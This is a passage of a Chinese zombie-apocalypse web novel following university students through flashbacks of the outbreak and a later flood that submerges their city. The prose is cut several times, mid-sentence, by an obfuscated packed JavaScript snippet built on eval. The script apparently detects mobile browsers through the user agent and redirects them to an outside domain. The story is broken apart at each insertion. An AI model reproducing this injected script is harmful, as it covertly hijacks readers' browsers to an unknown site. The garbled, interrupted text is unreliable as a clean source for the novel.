姜杞走出礼堂，她们其实没什么礼堂，都是把模拟法庭充当礼堂使。模拟法庭紧挨着图书馆，图书馆门口倒是有片绿化地。 她蹲下，吐了口气：“种地呗。” 这片绿化地里种的是三叶草，她以前看小说的时候看到过，三叶草属于绿肥，可以固碳？还可以和其他植株混种，具体怎么操作得趁着没断网赶紧查查。 李穗蹲在她旁边，歪着头：“光我们学校就发现了两个，有这样经历的绝对不止于虹和许尧这俩。” 蹲在地上查资料的姜杞抬起来脸来：“？” “你什么时候这么聪明了。” “素来如此好不好。” “而且，我觉得，有玄幻元素就应该会出现BOOS，能绑定系统……” “能激活异能是吧？”姜杞抢着说道，对着李穗白了一眼：“还天天想着异能的事呢。” “就算真有什么系统，有金手指，说不定早就绑定在别人身上了。” “而且，遇上这种事就一定是好的吗？” 草根附近零零散散地爬着几十只蚂蚁，不仔细看都发现不了。姜杞揪了根草叶，像是一个平常的，蹲在绿化边上等待教室开门的日子。 “你看许尧、于虹，哪个像传统主角的样子。” “好好种地，好好活着吧。” 姜杞站起身来，一遍遍感受脚下的真实。 这会是一块好地，她已经查过资料了，秋季三叶草和卷心菜混栽，可以驱虫；冬季能栽种洋葱幼苗，不过半年后才能收获，还是种萝卜白菜比较实惠。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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现在姜杞几乎完全把精力放在种地上，这本来挺好的。可随着就这短短几天，姜杞已经暴露出植物杀手的端倪。 没有许尧的东区是一团糟，他已经在众人的呼吁中重新接管日常事务。 东区有条不紊的建设着。 每个人的心怎样建设的，就只有自己才知道了。 这些天，姜杞一直处于半死不活的状态，靠种田吊着精气神。偏偏她种什么养什么，舍友们都怕她把自己养死了。 得给她找点事做。 可东区似乎已经没什么事了。 校外的丧尸一般不会产生什么威胁，之前来骚扰过他们的那伙人也已经被吓破了胆子，当然也可能他们已经倒在了尸潮里。 当前似乎没有什么活下去的危机。 这话说出来的当晚，东区就下起雨来。 雨下的太大，像天被戳破了个洞。 第二天，阮青舒对着几乎已经看不清外面的窗户，轻轻扇了自己一巴掌，李穗凑上前来要给她一个狠的，被朱苗苗拽了回去。 雨太大了，没法出门，所有人都缩在宿舍里。 这样的情况下，侯源林竟然冒雨跑到了宿舍楼下，疯了般呼喊姜杞的名字。 31. 战歌回响【回忆】 从电梯里跑出来，她们才看清这是一场多么大的雨。 透明的雨滴连成一片白，几乎将整个世界遮盖起来。 宿舍楼的大厅都弥漫着薄薄的水汽，侯源林站在玻璃门后面，头顶是狭窄的屋檐，身后雨落成帘。 白雨里闯出两个淡淡的黑影来，黑影转瞬变浓，两个躬着身子的人冲上台阶，踉跄停在侯源林后面。 是张梦娴和侯源林的舍友。 和姜杞她们不同,来到东区后，这三个人其实很少聚在一起。 七个人错落站在大厅门口。 最初在火锅店，丧尸来袭，末世降临。也是他们这几个人。 其实还差一个。 姜杞看着那三个人，她还记得那个“骗保”的女生。 看着眼前的四人，侯源林几乎在颤抖：“末世第一天，北区附近，我们救过你们一次。” 阮青舒有些意外，没想到他说的是这个。“嗯……某种程度上，也可以这样说。” 这种救援大多是相互的，末世后的东区几乎每天都在发生，没有人特地提过。 侯源林惨笑了一下，知道她想错了：“不是火锅店那次。” 嘶哑的声音在雨中显得有些空，似乎随着雨声进入了回忆里。 他说：“北区那场四级英语听力，是我们放的。” 确切的说，是陈灵放的。 从火锅店出来后，他们准备回宿舍等救援。大学里这么多人，救援的时候肯定优先级更高。 而且他们也不知道还能上哪里去。 火锅店在北区东门的对面，他们的宿舍在北区南门，学校人员密集，张梦娴看了眼学校门口那滩刺眼血迹：“从校外走。” 罗博超用从火锅店里顺来的围裙缠住自己粗壮的胳膊、小腿，活动了活动，咬牙道：“行。” 刚刚在火锅店里的时候，他是四个人里唯一没对丧尸动手的。 现在，罗博超眯着眼，深吸一口气走在了最前面。 正午的日头照得陈灵有些晕眩，她感觉自己已经停止呼吸了。 可身边的人往外走的时候，她也只能夹在中间，拖着酸软的退走向外面。走到马路上的时候，她感觉自己离成为丧尸只剩被咬这一步了。 她在心理上已经是一只不会思考的丧尸了。 与其在末世中惶惶不可终日，还不如直接让丧尸咬一口，给她来个痛快。 阎王叫我三更死，二更我就抹脖子。她们山东人是这样的，主打给阎王留个好印象。 陈灵已经紧张到要出现幻觉了。 她好像看到丧尸了。 侯源林紧握女友的手，躬着身子快步横穿马路，余光谨慎观察情况，却感觉女友的另一只手突然将他反握住。 他才发现陈灵的手这么大。 陈灵整张脸僵住，只有眼球艰难地示意丧尸的方向。 那是个衣服被车门夹住的中年丧尸。 就在他们即将走过去的方向。 正走向丧尸的脚步猛地挺住，张梦娴在这一刻听到了自己的心跳声。 她猛地拽着身边的人调转方向，斜着快步向马路对面快走，甚至跑了起来。 身后的丧尸好像看到了他们，身体不停地和车门发生碰撞。 反应过来时，四个人已经在马路上狂奔起来。马路上一览无余，跑几步就会有相碰撞的车辆，毫无安全感。 他们下意识就想往车辆旁跑，可是能借助车辆隐蔽身形的不只是活人。 当半张脸耷拉着半张脸从车窗里伸出来时，罗博超无可抑制的尖叫起来。 附近的丧尸闻声而动，嘶吼四起，刹那地狱！ 罗博超尖叫着在白日地狱里狂奔。他跑在最前面，因为过分恐惧甚至慌不择路，一味地在马路上狂奔，吸引了众多火力。 侯源林本来已经在心里恨死了舍友，丧尸腥臭的气味追上耳后时本想回头拼死一搏，却被陈灵和张梦娴拽了一下。紧随其后的丧尸竟然直接冲了过去，追着前面尖叫狂奔的身影。 三人紧贴校园围墙，松了口气。 转角处终于追上罗博超时，他脚底下已经全是丧尸的血了。 他喘着气回头看了三人一眼，阳光透过树缝落在他眉眼间，看上去还是那个纯真的大学生。 他想了下，在共享单车的坐垫上抹了把血。 被丧尸追赶的罗博超没有选择扫码骑车。 刚转过弯时，他拉过单车挡在身前，随机扛起一辆单车，砸向了丧尸的脑子。 他不知道有没有砸中脑子，反正把丧尸压在了下面。 不知道怎么突然开了窍，脱困后，罗博超没有立刻跑，或者回去找同伴。 他三两下从已经松动的路面撬下来一块砖，像揣着本书打蚊子那样，敲在了丧尸头上。血像开花了般迅速流淌，罗博超身子抖了抖，又砸了一下。 再站起来时，他听到动静回头，看到气喘吁吁抄着家伙赶来的同伴们。 他们身上也有血。 东门到转角处，这就已经走了一半的路。 北区对面地势很高，所以虽然有居民楼，但并没有门市。这里已经相对安全了。 大街上零零散散地流窜着慌不择路的人们。 这时候已经顾不上互帮互助了，有车的把油门踩到最低，有房的拼命朝房子狂奔，忍着不尖叫出声就是对自己对别人最大的帮助了。 “救护车！快帮我打个120！”居民楼里突然窜出来一个人，那人崩溃的坐在草地上大哭：“我的手机掉了，谁来帮帮我，帮我儿子打个120……” 哭嚎声在寂静的正午是那样刺耳，不少正在逃窜的人因为叫声被丧尸注意到，顿时怒目圆睁，还有人趁丧尸被别处吸引紧忙躲起来。 混乱并没有继续太久，哭嚎变成了尖叫，紧接着没了声。 侯源林背对着那个方向跑，脑海中全是丧尸撕咬和吞咽的模样。 离学校很近了。 四人几乎使出了全部的力气，慌乱中，陈灵撞到了一块牌子。 离她最近的张梦娴回头拽她，身后的侯源林也紧忙把女友拖起来。 “这是……”罗博超指着被撞倒的牌子，那上面写的是【严禁靠近、严禁拍照】，他浑身的肉都颤起来。 “还回什么学校！难道还有比这更安全的地方吗！” 简约的门口除了一颗星星外再无装饰，两侧墙体上挂着单位的名称。一体全白的大厦墙面空无一物，与方才经过的商业区形成鲜明对比。 这里连门口的伸缩门都比别处高。 侯源林也陷入恍惚。 是啊。这个大院就在南门斜对过，但因为不让靠近拍照也无法参观，所以很少有人能想起来这个地方。 混乱爆发，还有比这里更安全的地方吗？ 宿舍里可能会没有吃的，这里还能不管他们饭吗？ 几乎不用再思考，侯源林半拖着女友拼命往里跑，仿佛离安全屋只剩这几步了。 在这样迫切的期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巨大的恐惧下，他短暂失去的不只是表达能力。 树底下，张梦娴泪流满面。 这是她们军训时学的第一首歌。 大院还有人活着。 哪怕丧尸已成尸潮，只要这里面还活着一个人，都会尽最大的努力救人。 就在刚刚，在汹涌尸潮即将冲出大门时，高楼上，战歌以惊人的音量响彻天地。 刹那，尸潮混乱。 真正的活人从大楼里冲出来，朝着丧尸挑衅，部分丧尸开始调转方向。 与此同时，伸缩门和自动铁门一起缓缓启动。 丧尸被自动门的动静吸引，还是有部分丧尸陆续向大门的方向奔走。 陈灵回头拽跌倒的罗博超时，她看到了尸潮回流，看到高楼上有活人蹦蹦跳跳，大喊大叫。 也许是发现这样无法吸引丧尸，几乎没有迟疑，那人从高楼上跳了下去。 新鲜血肉的诱惑无可抵挡，像深海的鱼群发现了饵料，尸潮一下子有了中心。 战歌伴着激昂的鼓点，没有停歇，楼下冲出来的人，楼顶、窗口跳下来的人，也几乎没有停息。 陈灵以为自己在尖叫，事实上，她什么声音都没有发出来。 甚至之后的很长一段时间里，她的嗓子都发不出来声音。 天地间只有战歌回响。 声音戛然而止，伸缩门和自动门同时合上。 希望和灾难同时被锁在了潘多拉魔盒里。 陈灵说不清现在更多的是劫后余生的庆幸，还是未来希望的破灭。 连这里都沦陷了，不会有救援了。 这时候的她们还没有想到，人类真正的希望已经被留存下来，希望与希望之间遥遥相望。 即将熄灭的火，点燃了新火。 32. 变成丧尸了也要参加毕业晚会 侯源林从树干上滑下来，瘫软地倚在树上。 陈灵抹了把泪，踉跄上前把他拉起来。 不能停，得回宿舍。 可莫名的恐慌在陈灵心中发酵，回宿舍真的对吗？宿舍狭窄封闭，食物有限，如果真的没有救援，怎么活下去…… 走了两步，她拽着众人停了下来。 陈灵说：“我们去山上。” 透亮的阳光照在她脸上，她感觉头脑前所未有的清醒，整个人被阳光照亮。 连大院这种地方都彻底爆发了尸潮，留在宿舍能等谁来救他们呢？ 宿舍楼人口密集，尸潮爆发的可能性很高，偌大的校园里只有两个超市，大概早就被哄抢一空。 主校区全是水泥地，她们连个土里刨食的地都没有。 她说，去山上，山上有水库，有树，喝凉水啃草叶我们都能活下去。 张梦娴抱着笔记本，她的后脑勺很痛，头皮与骨血剥离，灵魂好像不属于脚下站立的这块土地。 她应该在宿舍里改论文，准备延毕的事情。 她都想好了，爆发这样的大灾难肯定会集体隔离一段时间，大概所有人都会延迟毕业了，在宿舍的这段时间她得抓紧时间改论文，和老师求求情，说不定事情还能有转机。 而且，说不定只有白海市爆发了丧尸，等结束后教授说不定已经死光了，学校毁灭，教育局直接把她们转到更好的大学里去。 可陈灵说，等不来救援了，应该躲到山里去。 她努力了这二十多年，才从那片荒芜的黄草地里走出来，走到有自来水，灯火彻夜通明的城市里，难道最后还要回去？ 张梦娴还不死心地抱着笔记本，泪水殷湿嘴角，可她说：“好，我们去山上。” 做正确的决定，而不是做自己想做的事情。 从萌生想法到做决定，其实也就半分钟的事情。 世界也只平静了这片刻。 尖叫声从教学楼里飞出，一个挣扎的人影被丧尸扑倒在玻璃上，发丝混着鲜血在玻璃上摩擦。 巨大音乐声吸引来的不只是大院里的丧尸。 周边的丧尸闻声而动，即使音乐已经停息，丧尸仍在徘徊在原地。 扶着围墙抽搐的身体像触了电一样，小树林里身影窜动，教学楼不断传来打斗的动静。因为没人敢往室外跑，阳光底下的丧尸看上去反而更少。 几个被咬的血肉模糊的身体扭曲着四肢站了起来，阳光底下，像新世界长出的树苗。 侯源林半口气提在胸间没吐出去，拽着陈灵开始狂奔。 奔向山林的方向。 他们穿过教学楼，奔向西边的操场。 学校这么大，他们对周边地形也不了解，只看哪边的山更高，哪边的丧尸更少，就朝着哪个方向狂奔。 理智与本能互博，争夺着大脑对方向的掌控。 丧尸在路上追着人狂奔，在各个方向。绿化带、教学楼，甚至高楼的窗户都可能随时跳下来丧尸。 他们往高处跑，从操场边缘跑过，穿过灌木丛跑向宿舍楼的方向。 奔跑的人在这里汇聚，从三两成群到数十人挤在一起，侯源林把陈灵往人群里面推。 这些人是要回宿舍的，研究生宿舍楼在校园的边缘，在地势最高的地方。 人多自然会生出安全感，可丧尸的目标也更大，左右摆摆的丧尸手脚并用从四面八方冲过来。 热风卷起腥气。 当一个被鲜血覆盖的光头从车窗伸出来时，罗博超以为自己又回到了北区东门。 被鲜红覆盖的板砖猛地将那刚伸出来的头砸了回去，这次他只是脚步略缓，就喘着粗气又追了上去。 二楼的窗户里跳出来一只丧尸，跳到绿化带里的丧尸摇摆着站起来。还没转身踉跄冲向人群，跑在最前面的侯源林抄着板凳腿狠狠击打在丧尸的脖子上。 跑在最后面的张梦娴真的有点累了，她双手抓着电脑包，狠狠往后甩！ 被打中脸的丧尸后退了两步，随即以更迅猛的姿势冲了上来！人群中的陈灵稍微落后两步就来到了张梦娴跟前，她拽起张梦娴的胳膊，拼命追赶。 恐惧在踉跄的脚步中发酵。 零散击杀的丧尸并没能帮助他们摆脱困境，危机仍继续。 “啊啊啊啊！”尖叫声从头顶传来，却不是因为受到惊吓。 三楼的窗口探出一个头，她一边尖叫一边挥手，手里还拿着个手机。 前奏终于过去，欢喜的乐曲在高处响起！ 紧追在人群之后的丧尸立刻被高涨的音乐声吸引，狂奔的身影出现迟疑，甚至出现狂躁，寻找声音的来处。 声声“好运来”夹杂着女生的中气十足的呼喊：“活下去，一定得活下去！” 被声音引诱狂躁的丧尸只是少数，更多只是略一迟疑，还是被活人气息吸引狂奔。 可更多的“好运来”从高楼各处响起。 丧尸爆发时已经快考试了，很多人在教室里紧急复习，还有人躲在卫生间打小抄，及时锁上了门的教室相对安全，不少人在窗口观望着下面的情况。 随着第一声“好运来”的响起，毛茸茸的脑袋像雨后蘑菇般从窗里冒出来。 “丧尸看这里！” “都~是勇敢的，你……” 甚至厚厚的专业课课本都伴着骂声从窗口砸下来。 丧尸本能的追逐高速移动的物体，坠落的书本被丧尸撕碎，尸潮中书页纷飞，甚至有些血肉模糊的脸出现瞬息的停顿。 但也只是瞬息。 人与丧尸不断追逐，已经到宿舍楼了，可宿舍楼门口徘徊着丧尸，甚至大厅里黏糊一片，日光与血色让人几乎睁不开眼。 好不容易跑回来了，却不敢进去，人群中开始传来哭声。 侯源林他们也没跑出学校，山林好像已经近在眼前了，可学校的围墙太高，一个人怎么都翻不过去，他们也跟着绕宿舍楼跑的人群想办法。 有人忍无可忍了，三两下穿过楼底的绿化带，拽着铁窗与管道攀爬。 侯源林看着那人的身影，心中微动。 可紧接着罗博超拽了他一把，他顺着罗博超手指的方向看去，那是一片车棚，车棚里停着很多山地车、小电车。 他边跑边大叫：“电动车都锁着呢，咱也没钥匙啊！” “有个三轮车！三轮车没锁，能推动！” 张梦娴明白了：“我们可以踩着三轮车爬到外面去！” 几乎是瞬间，四个人从人流中冲了出来，直面丧尸片刻后，齐齐缩进了绿化带里。 丧尸直线跑很快，但转弯不灵活。几人咬牙绕着绿化带，绕着灌木，绕着一排排电动车溜起丧尸来。 罗博超已经不耐烦了，他扛起一个山地车砸向丧尸，趁着他吸引丧尸火力，另外三人终于找到机会去推三轮车。 这个车上竟然还有车钥匙！ 侯源林坐上去一拧车把，咬着牙猛地撞向罗博超身前的丧尸。 “上车！都上车！” 罗博超抓着山地车驱赶丧尸，大喊：“我掩护！” 陈灵和张梦娴跟在车后面，拿着随手抄来的板凳抵挡丧尸的攻击。 终于到了墙边，侯源林踩着小三轮的座椅，贴着墙猛跳，手终于够到了墙的顶端！ 说不清是汗还是泪模糊了视线。 “小心！” 是陈灵的声音，侯源林回头，隐约看见两个身影朝他扑过来。 陈灵没能阻挡住那个丧尸。 扑过来的脑袋一下子将侯源林从墙面上拽下来，丧尸咬上了他的胳膊。 陈灵趴在三轮车上，无法控制的尖叫！ 尖叫声模糊了身后的“小心！”，带着腥气的吐息在耳后一闪而过，是张梦娴从后面拽住了丧尸的衣领，生生将它从三轮车上拽了下来。 她从后面死死制住丧尸，活人和死人肉贴肉缠斗在一起。 而另一边，罗博超直接去掰丧尸的嘴，硬生生把下巴掰脱臼，把侯源林的胳膊从丧尸嘴里抢了回来。 侯源林终于不再藏左手腕那条细长的口子，他泪眼朦胧地笑起来，忍着痛，咬着嘴唇。 剧痛中他又听到几声尖锐的嚎叫。 他勉强睁开模糊的泪眼，似乎什么东西飞速滑了下去。 是陈灵。 又有丧尸扑来，挣扎中拧到了小三轮的车把，三轮车歪歪扭扭的冲了出去。 陈灵与丧尸在三轮车上挣扎，三轮车不断移动，不知怎么，跑到宿舍楼前的那个大坡上。 把丧尸踹下去后，她感觉有些失重，但筋疲力尽，没能细想。 她倒在车上，一口气还没喘过来，失重感突然将她包裹，天旋地转！ 换乱的校园里，从操场直达校园边缘的那个大坡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最终，陈灵还是在震天动地的英语听力声中，向着舞台高处的架子爬去。 能多活一会是一会。 随着英语四级听力的播放，震耳欲聋的声响几乎唤醒了周边全部的丧尸，所有阳光直射的地方，丧尸狂躁奔袭，朝着操场的地方狂奔。 校外围墙边上，一辆刚刚发动没多久的小三轮终于摆脱了紧随其后的丧尸们，欢喜地奔向希望。 树上蹲了不知多久的人看着身下狂奔的丧尸，直到尸潮消失在视线中，才战栗地活动了下紧绷的后背。 他眼泪倏地掉下来，掏出手机给家里打电话。 堵在教室门口的丧尸终于下楼了，一个打着视频电话的手机被从门上的小窗伸出来，再三确定安全后，紧闭的教室才拉开一条缝。 不断有人因为这场听力获得生还希望。 而尸潮已经在操场上汇聚，唯一的活人高坐在舞台顶端的铁架上，她把脚放了下来，在架子边缘轻荡。 小小的身影被日光模糊。 侯源林捂着流血的手臂，呆呆的望着那个方向。 他的陈灵……那个从三轮车上踉跄爬起的，原地徘徊后竟走向操场中央的陈灵，陈灵。 其实他也没有自己想象的英勇无私，这一路上并没有照顾到大家，相互扶持着走来，他并没有比别人付出的更多。 英语听力响起的一瞬间，陈灵已经必死无疑，可也在那一瞬间，陈灵的心换到了他身上。 手已经快按不住鲜血，丧尸的污血甚至还蹭在了伤口边上。他也活不下去了，他本来应该冲过去陪着陈灵一起死的。可现在，侯源林不再去看被黑影吞没的操场。 他拽着身边两个人僵硬的身体，拍了拍张梦娴的肩膀，用攒钱买来的西装给张梦娴擦了把泪。 他说：“走，三轮车没了，我们从宿舍楼走。” “从一楼窗户跳到外面去。” 瘦高的人拽着两个颇为健壮的泪人，往那个可能还藏有丧尸的宿舍楼走去。 侯源林要为他们开路。 就像陈灵做的那样。 33.灾难日【水灾】 回忆被大厅里陆续跑出来的人打断。 七个人被连伞都没来得及打的人们挤到墙边，阮青舒被挤得踮起脚尖，还是伸着脖子凑过去问：“姐妹，这是干什么去啊？” 那人停下脚步：“有人在群里说，土豆被淹了。” 姜杞感觉头晕了一下。 回忆跌落现实。 她跟着人群冲进雨里，大雨倾盆，白茫茫一片，像来到了另一个世界。 试验田的土地已经被大雨浇透，高处一脚一个坑，低矮处被泥水淹没，已经看不到别的颜色。 她一次次从泥里拔出自己的脚，一步步艰难地向人群走去。 排水沟是从边缘开始挖的，许尧带着人砸开西边的墙，可水还是流不出去。墙后面是绿化带。 好在东区整体地势由东向西降低，一群人操着家伙在雨中砍绿化带中的冬青，刨根、挖土，泥水渐渐淹没人的膝盖。 姜杞艰难地向挖排水沟的那边走去。 忽然她踩到了一个滑滑的东西。 李穗从身后，稳稳架住她倾斜的身体。姜杞扭动着四肢缓缓站稳，她弯下身子在泥里摸索，刚刚踩到的东西触感很奇怪。 她摸出来一块土豆。 滚刀块一看就是餐厅的刀法，带皮的那部分已经生出细长的根须。雪白的根那样脆弱，在脚踩手摸中已经断裂了一半。 姜杞脸上第一次出现茫然。 原来即使是种地，也不是种下就一定会有收货。 她没有再往排水沟那边走，而是像摸河蚌那样摸索脚下的这块地，土豆是成片种植的，找到一块就是找到了一片。 姜杞：“把土豆挖出来，换个地方种。” 磅礴大雨中，铿锵有力的话语带着难以言喻的信服力，不止阮青舒和朱苗苗，身后陆续赶来帮忙的人也闻声而动，立刻在脚下的泥水中摸索起来。 李穗也下意识弯下腰。 过了两秒，她弯下的腰换换直起来。 几乎是同时，朱苗苗似乎也察觉了不对，缓缓看向阮青舒，两张粘了泥水的漂亮小脸对视了一眼。 危难时期，姜杞总是能扛起来，不知不觉中，她已经成了东区众人的安全感来源之一。 只是1230宿舍四人总是时刻在一起，拔草开荒时累倒在地，都是四个人背靠背偎依，很少有人能插进去聊几句。 就连这个时候，也只有她们三个陆续站了起来，狐疑地看向姜杞。 李穗看了看自己小麦般的肤色，又看了看常年佩戴近视镜，身上的茧子只有握笔磨出来的那一块的的姜杞。 “*了。”李穗把姜杞从泥里提溜起来，伤痕累累的胳膊因为过度用力而绷出隐约的肌肉线条。 “真的。”她第一次质疑姜杞：“刨土豆这个事有待商榷。” “俺家里种了那么多年菜，下雨的时候还没听说过把种子刨出来，等水干了再重新种下去的案例。” 阮青舒心里最后一丝怀疑终于落了地，她们利落的将姜杞拽到一边去。 “也真是猪油蒙了心才敢在这方面相信你。” 她们后面，许尧无声卸了口气，他也觉得哪里不对劲，但出于对姜杞的信任竟一点都没质疑。 四个人狼狈地跑去挖排水沟，许尧在后面招呼着大家躲着点土豆地走。 “找几块木板，绑上衣服，和其他地方划出片界限来。” “别没淹死，反而踩死了。” 姜杞被舍友们架着走，到现在她也不觉得自己的安排有什么问题。 而三个舍友也终于明白宿舍里那些薄荷甚至野草为什么会这么快死去。 “咳咳。”阮青舒想转移下话题：“那个侯源林，说这些是要干什么呀。” “而且，他怎么知道那个英语听力救了我们？他看见我们了？” 李穗：“你忘了啊，刚返回东区的时候，我们自己在群里说的。” 她们说，其实她们真的没有直接从尸潮里杀出来，丧尸追不上三轮车，而且追了没多远就被突然响起的英语听力声音吸引走了，紧接着剩下的丧尸又被红绿灯拦截下来。 四人这才苟回了东区。 阮青舒更不理解了：“这都多少天了，之前没提，怎么现在突然提起来了。” 姜杞缓缓抬起了脸，沉静的声音与大雨同频，如果不是几人紧挨着，几乎听不见。 她说：“之前不说话，一是不想挟恩图报，二是没有什么需要我们报答的地方。” “现在有了。” “陈灵没死，他们想让我们去救她。” 阮青舒的后背一下子绷紧，她在泥水中缓慢移动着，不知道是雨声淹没了声音，大家好像都没说话。 大家确实都没说话。 朱妙妙看向姜杞。连NPC人格的李穗都收敛了脸上多余的表情，不再摆出那副指哪打哪的样子。 阮青舒似乎想明白了什么，她声音听不出什么情绪：“首先要明确的是，我们确实被动地受了别人帮助，但这和我们在绝境之下主动恳求别人，然后受到帮助，是不一样的。” “那个英语听力确实帮助了我们，但即使没有英语听力，我们大概率也能活下去。” 大雨模糊了人的视线，没人看到李穗僵硬的后背松了一下。 朱妙妙微微张开了嘴，她看着姜杞，又看了看阮青舒，想说什么，又说不出来。 姜杞甩了甩镜片上的水，她看不清大家的表情，但沉默在发酵。 她表情复杂：“沉默个蛋啊，怎么可能因为受到过别人的帮助，就冒着送命的风险去救人啊。” 姜杞自认为不是坏人，也非常愿意力所能及帮助别人。也许有一天真的面临陈灵当初的处境，她会做出同样的选择。 但她现在活得好好的，身边几乎没什么危险。 她做不到好好的日子不过，主动跑到丧尸遍布的校外救人。 欢呼声从不远处响起，西边绿化带终于挖开了。盆地的积水终于开始流动，黄泥水卷着叶子垃圾向西边涌动。 “继续挖！”许尧也没打伞，他收起了眼镜，雨水从瘦削的脸颊划过，湿睫毛下的眼睛眯着看套了防水袋的手机。 “土豆地周围要挖出来一条沟，水才能尽快排出去。” 他照着手机上的帖子比划，指挥众人继续挖沟。 姜杞拔腿就要去帮忙。 脚踩在土地里，土地里劳作，才能让她那颗惶恐的心脏稍稍安抚下来。 可一只手拽住了她。 是朱妙妙。 姜杞回身解释：“不能冒着生命危险去救人，但能帮的要帮。” 和侯源林来求人没关系，是陈灵值得。 “救人之前，我们得先了解陈灵的处境，离我们多远，能坚持多久。外面的丧尸什么情况，在不威胁我们自己生命的前提下，能为她做什么。” “而不是一味的选择救或不救。” 朱妙妙还是拽着姜杞的手，似乎有些想不通：“那为什么不现在去了解？” 她这样的人，竟然也有些着急了。 “陈灵还在等着啊。” 生死不明，时间紧迫。 连阮青舒和李穗都没说话，姜杞的话很对，说服了她们，但她们同样不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206140|181230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理解为什么非要等挖完排水渠再去做。 东区这么多大，不缺几个挖排水沟的人。 每个人都应该去做自己适合的事。 姜杞似乎还没反应过来，她下意识继续回头看土地，阮青舒把她的脸掰回来，拽着她回去。 “你这个心理问题真该看看了。” 回去的路上，雨下的越来越大了。 四人抱头走在树下，李穗忽然抬头：“淋雨，应该是会生病吧？” 她一停顿，阮青舒就跑到了前面，回头冲大喊：“还好吧，这么热的天，我觉得……” 姜杞埋头走路，走了好几步，也没听到阮青舒把话说完。 她下意识回头。 从试验田回宿舍，要爬一个很大的坡。她站在坡上回头看。 她看到高楼的间隙里，漫着一片水。 一瞬间，姜杞和其他舍友一样，感觉被什么东西击中，呆呆地望着这片天地。 硕大的雨滴密密砸在地上，雨声几乎要淹没人的听觉，可人心里静的只能听到心跳声。 去年冬天，一场五十年难遇的大雪，也只在地面堆积了五十二厘米。 这场从昨晚下到现在的大雨，怎么就把城市淹没了？ 和试验田里的泥水不同，高楼底下的水又黑又静。忽然间起了风，狂风卷起残叶，几人在寒意中抱作一团。在风雨的间隙中，姜杞看到那片没有边际的水起了浪。 风雨中，大大小小的白浪在城市的缝隙里翻涌。 她心里破了个窟窿，生出无尽的寒意。风裹挟着雨滴砸在脸上，回过神来，只穿着短袖短裤的身体也已经在打寒颤。 这片没有边际的水，是海。 白海市被海淹了。 忽然风有些减弱，可海上的浪没停。 姜杞回头，只见几个人裹着雨布的人被风吹着向她们这边移动。张梦娴把她们拽进来，几个人躲在雨布下，在狂风中摇摇摆摆，像一块巨大的史莱姆。 侯源林也把头缩回雨布了，他挤在狭小黑暗中喊：“我在网上刷到了陈灵发的帖子，她说那天她钻到了舞台底下，躲进表演用的玩偶服里活了下来。后来跑出了学校，准备从校外到山上去，结果路上被一群人救了……” 姜杞大喊：“你直接说现在她在哪，我们能帮上什么忙？” “7374！”阮青舒拉了个群，大喊面对面建群的口令：“都打字聊，耳朵都快吵聋了！” 七个人靠着墙，抵着树，缩在雨布底下，黑漆漆的狭小天地里，只有手机发出一点光亮。 【海之萌侯源林】：陈灵现在在火车站附近的一个商场里。有不少齐南的同学被囚禁在那，被人当引诱丧尸的诱饵。 【海之萌侯源林】：那伙人的老大外出找物资，很久都没回来，人心散了，一部分被囚禁的人因为吃得多被赶了出来，被赶走的人躲在附近伺机而动，希望能回去救陈灵她们。 【海之萌侯源林】：本来她们已经找到了车，准备所有人都逃出来后坐车跑。 【海之萌侯源林】：那边地势低，现在被水淹了，即使能救出来人，也跑不了。 他发出来一张照片。 照片是从高层拍的，隔着被雨痕模糊的玻璃，依稀可见外面乌压压的天际。 浓厚的黑云从悬在头顶，一直延伸到海面上空。海面也是沉沉的黑，在暗沉天色的掩映下，无声蔓延到高楼下方。 海边的火车站只剩下半截，道路完全被湮没，钢铁铸就的森林只剩下直挺挺的高楼，黑水如沥青般淹没万物。 这是与烈日下的尸潮，截然不同的末世。 34.你想的办法，就是求神？！ 【不吃姜】：照片是之前收到的？ 【海之萌侯源林】：对，十二点四十三分 【不吃姜】：现在还能联系上陈灵吗？问她海水现在涨到几楼了 现在是一点五十七分，不知道海水在这一个小时里上涨了多少。 大概过了十几秒，侯源林又发出来一段视频。 照片像是在船舱里拍的，模糊的窗外是一望无际的海水，白浪时不时击打在窗户上。镜头在摇晃，像是偷拍，视频里的声音在颤抖。 “他们把我们关在七楼，海水马上要涨上来了。” 姜杞打字的动作并没有停止，甚至还加快了速度，可群里始终没有消息发出来。过了好一会，消息提示音才再次响起。 【不吃姜】：你和陈灵是怎么重新联系上的 【海之萌侯源林】：我知道你想问的是什么 黑暗中似乎响起一声轻笑，姜杞擦了擦淋湿的镜片，低头去看。 【海之萌侯源林】：我可以确定，手机对面给我发消息的不是陈灵 【海之萌侯源林】：但声音是陈灵的，她还活着，我得帮她 水已经完全淹没道路了，绝望比大水更先一步将人淹没。 高楼里的人已经感觉难以呼吸，可水似乎还在上涨，幸存的人类不再受丧尸的威胁，而是被困在高楼上。 深色的海水重重击打在高楼的墙壁上，变成白浪，陈宇看着近在眼前的海面，总感觉玻璃在摇晃。 海水已经涨到六楼了。 半个小时前，他们才从五楼搬到七楼来。 